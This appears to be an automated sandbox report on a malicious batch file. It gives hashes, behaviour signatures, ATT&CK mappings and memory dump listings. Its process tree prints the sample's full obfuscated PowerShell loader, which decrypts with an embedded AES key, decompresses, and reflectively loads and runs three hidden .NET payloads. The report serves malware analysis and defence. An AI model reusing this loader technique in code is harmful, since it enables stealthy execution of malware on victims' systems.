67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86

General

Target

67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86.bat
Size

535KB
MD5

b9e1a4ea5f3b3fd0b0394183365edf8b
SHA1

79bec6a406682c1385ba71a62e70b5744de0fb76
SHA256

67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86
SHA512

132bcd79be79e2b2fb6319d25f9ae89fc8bda65c9872792181b270cd31ad43998c1a34319e9d2f66e7bf3f035428231644d3c253e6eb1ae30095b64a702cf969
SSDEEP

12288:jdnWhmK+sUu8PzDo84iBk1XZq51gzyqS996PxMdGos+Rcxdj:9WhmFsJ848Zk9KyMdGL+Y5

Score

3^/10

discovery

Malware Config

Signatures

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1760	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1760	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1760	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 3036	2128	cmd.exe	31
PID 2128 wrote to memory of 3036	2128	cmd.exe	31
PID 2128 wrote to memory of 3036	2128	cmd.exe	31
PID 2128 wrote to memory of 1760	2128	cmd.exe	32
PID 2128 wrote to memory of 1760	2128	cmd.exe	32
PID 2128 wrote to memory of 1760	2128	cmd.exe	32
PID 2128 wrote to memory of 1760	2128	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('iZqoW2CsAJeY9D83aLEj+3rxJ2t2B3ify+RUYbhDZLc='); $aes_var.IV=[System.Convert]::FromBase64String('HqkR8+zl0nkre/D9VtHffg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$cFfgm=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$eBtZT=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$Baxky=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($cFfgm, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $Baxky.CopyTo($eBtZT); $Baxky.Dispose(); $cFfgm.Dispose(); $eBtZT.Dispose(); $eBtZT.ToArray();}function execute_function($param_var,$param2_var){ IEX '$UGiVy=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$iInyN=$UGiVy.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$iInyN.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$rrktb = 'C:\Users\Admin\AppData\Local\Temp\67d3bd519670a3a0fdcb3b30b0e143e73225cf561d2448a92e8e9378e989ac86.bat';$host.UI.RawUI.WindowTitle = $rrktb;$zVxza=[System.IO.File]::ReadAllText($rrktb).Split([Environment]::NewLine);foreach ($vxMZN in $zVxza) { if ($vxMZN.StartsWith('SkRmYQdHVSEYUqjPEfjK')) { $uwpGR=$vxMZN.Substring(20); break; }}$payloads_var=[string[]]$uwpGR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
  2⤵
  PID:3036
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1760-2-0x0000000074021000-0x0000000074022000-memory.dmp

Filesize
4KB

Download
memory/1760-3-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/1760-4-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/1760-5-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/1760-6-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download
memory/1760-7-0x0000000074020000-0x00000000745CB000-memory.dmp

Filesize
5.7MB

Download

Analysis

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